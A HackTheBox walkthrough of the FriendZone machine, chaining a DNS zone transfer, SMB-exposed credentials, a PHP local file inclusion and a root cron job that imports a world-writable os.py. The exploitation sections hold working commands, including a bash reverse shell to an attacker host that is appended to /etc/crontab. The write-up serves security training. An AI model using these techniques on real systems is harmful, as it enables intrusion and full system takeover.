# FriendZone Writeup - HackTheBox

> SMB enumeration reveals credentials and DNS zones. Exploiting LFI with PHP injection leads to a shell, then Python library hijacking for root.

- **URL:** https://hackindex.io/writeups/friendzone
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/friendzone?sort_by=created_at&sort_type=desc
- **Tags:** lfi, smb, dns-zone-transfer, privilege-escalation, python-library-hijacking, cron-abuse
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-17
- **Updated:** 2026-08-17

FriendZone is a Linux box built on a chain of small misconfigurations. The chain runs: a TLS certificate that leaks the real domain, an open zone transfer that leaks the subdomains behind it, admin credentials sitting on an anonymous SMB share, a local file inclusion driven by the wrong looking parameter, a world-writable share that lands files where the include can reach them, and a world-writable `os.py` that a root cron job imports.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
# Open $TARGET_IP:21
# Open $TARGET_IP:22
# Open $TARGET_IP:53
# Open $TARGET_IP:80
# Open $TARGET_IP:139
# Open $TARGET_IP:443
# Open $TARGET_IP:445
```

```bash
nmap -sCV -T4 -p21,22,53,80,139,443,445 $TARGET_IP -oA nmap/nmap
# PORT    STATE SERVICE     VERSION
# 21/tcp  open  ftp         vsftpd 3.0.3
# 22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
# 53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
# 80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
# |_http-title: Friend Zone Escape software
# 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 443/tcp open  ssl/https   Apache/2.4.29 (Ubuntu)
# | ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED
# 445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
# Service Info: Host: FRIENDZONE; OSs: Unix, Linux
#
# Host script results:
# | smb-security-mode:
# |   account_used: guest
# |_  message_signing: disabled (dangerous, but default)
```

Three things to carry forward. Samba answers as guest, BIND is listening on 53, and the TLS certificate names `friendzone.red`, which is the real domain behind the raw address. The site on port 80 also advertises a contact address at `friendzoneportal.red`. Both names go in `/etc/hosts`, and an authoritative nameserver next to a known zone name means testing AXFR first.

## Enumeration

### Zone transfer

```bash
dig axfr @$TARGET_IP friendzone.red
# friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
# friendzone.red.         604800  IN      AAAA    ::1
# friendzone.red.         604800  IN      NS      localhost.
# friendzone.red.         604800  IN      A       127.0.0.1
# administrator1.friendzone.red. 604800 IN A      127.0.0.1
# hr.friendzone.red.      604800  IN      A       127.0.0.1
# uploads.friendzone.red. 604800  IN      A       127.0.0.1
```

Three subdomains that are linked nowhere on the public site. They all point at loopback in the zone data, which means Apache separates them by virtual host, so they need to be added to `/etc/hosts` against the real address to be reachable.

```
$TARGET_IP  friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red
```

`hr` returns a 404, so no vhost is configured for it. `uploads` is a decoy upload page with nothing behind it. `administrator1` serves a real login form, which needs credentials.

### Anonymous SMB

```bash
smbmap -H $TARGET_IP -u '' -p ''
# Disk                        Permissions     Comment
# ----                        -----------     -------
# print$                      NO ACCESS       Printer Drivers
# Files                       NO ACCESS       FriendZone Samba Server Files /etc/Files
# general                     READ ONLY       FriendZone Samba Server Files
# Development                 READ, WRITE     FriendZone Samba Server Files
# IPC$                        NO ACCESS       IPC Service (FriendZone server (Samba, Ubuntu))
```

Two shares are reachable without credentials, and the comment on `Files` gives away its path on disk, `/etc/Files`. Shares here are named after directories directly under `/etc`, so `Development`, which is writable, is almost certainly `/etc/Development`. That matters later. First, the readable share.

```bash
smbclient //$TARGET_IP/general -N
# smb: \> ls
#   creds.txt                           N       57  Tue Oct  9 23:52:42 2018
# smb: \> get creds.txt
```

```bash
cat creds.txt
# creds for the admin THING:
#
# admin:$ADMINS_PASSWORD
```

Those credentials log into `https://administrator1.friendzone.red/`, which points at `dashboard.php`.

## Vulnerability Discovery

### The parameter that actually matters

The dashboard asks for an `image_id` and mentions a default of `image_id=a.jpg&pagename=timestamp`. Supplying both returns the timestamp output, and changing `image_id` changes nothing. `pagename` is the parameter with server side effect, and content discovery shows why.

```bash
gobuster dir -u https://administrator1.friendzone.red/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -k -x php -t 50
# images               (Status: 301) [--> https://administrator1.friendzone.red/images/]
# login.php            (Status: 200)
# dashboard.php        (Status: 200)
# timestamp.php        (Status: 36)
```

`timestamp.php` exists and matches `pagename=timestamp` exactly, so the backend is appending `.php` to the value and including it.

```php
include($_GET['pagename'] . ".php");
```

Nothing sanitises that path, so any `.php` file on the filesystem can be included. Combined with the writable SMB share mapping to `/etc/Development`, that turns a file read primitive into code execution.

## Exploitation

### Writing a shell through SMB

```bash
smbclient //$TARGET_IP/development -N
# smb: \> put php-reverse-shell.php
# putting file php-reverse-shell.php as \php-reverse-shell.php (4.4 kB/s)
```

The include runs without the extension, because the application adds it.

```
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 58332
# Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Foothold as `www-data`.

## Privilege Escalation

### Watching for scheduled tasks

`pspy` polls `/proc`, which is world readable, so an unprivileged user can watch processes appear without any special rights. That is the fastest way to see cron.

```bash
wget http://$ATTACKER_IP/pspy64s
chmod +x pspy64s
./pspy64s
# CMD: UID=0    PID=3870   | /usr/bin/python /opt/server_admin/reporter.py
# CMD: UID=0    PID=3869   | /bin/sh -c /opt/server_admin/reporter.py
# CMD: UID=0    PID=3868   | /usr/sbin/CRON -f
```

```bash
cat /opt/server_admin/reporter.py
# #!/usr/bin/python
#
# import os
#
# to_address = "admin1@friendzone.com"
# from_address = "admin2@friendzone.com"
#
# print "[+] Trying to send email to %s"%to_address
# <snip>
# # I need to edit the script later
# # Sam ~ python developer
```

The script runs as root every two minutes and does nothing useful, but the `print` statement without parentheses means it runs under Python 2, and it imports `os`. Which `os.py` gets loaded depends on the module search path and on file permissions.

### A world-writable standard library

```bash
ls -la /usr/lib/python3.6/os.py /usr/lib/python2.7/os.py
# -rw-r--r-- 1 root root 37526 Sep 12  2018 /usr/lib/python3.6/os.py
# -rwxrwxrwx 1 root root 25910 Jan 15  2019 /usr/lib/python2.7/os.py
```

The Python 3 copy is locked down, the Python 2 copy is mode 777, and Python 2 is exactly what the cron job uses. Overwriting it means the next import executes whatever it contains as root. Appending a cron entry is more reliable than replacing the module wholesale, because the rest of the system keeps working.

```python
import os
f = open("/etc/crontab", "a")
f.write("* * * * * root /bin/bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\"\n")
f.close()
```

```bash
cp /tmp/os.py /usr/lib/python2.7/os.py
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 40920
# bash: no job control in this shell
# root@FriendZone:~# whoami
# root
```

Root within a minute of the next cron run. User and root are both covered.

Related

## References

- [pspy](https://github.com/DominicBreuker/pspy) - Unprivileged process monitor used to spot the root cron job.
- [Python 2: the module search path](https://docs.python.org/2/tutorial/modules.html#the-module-search-path) - Explains the import order that makes a writable os.py hijackable.
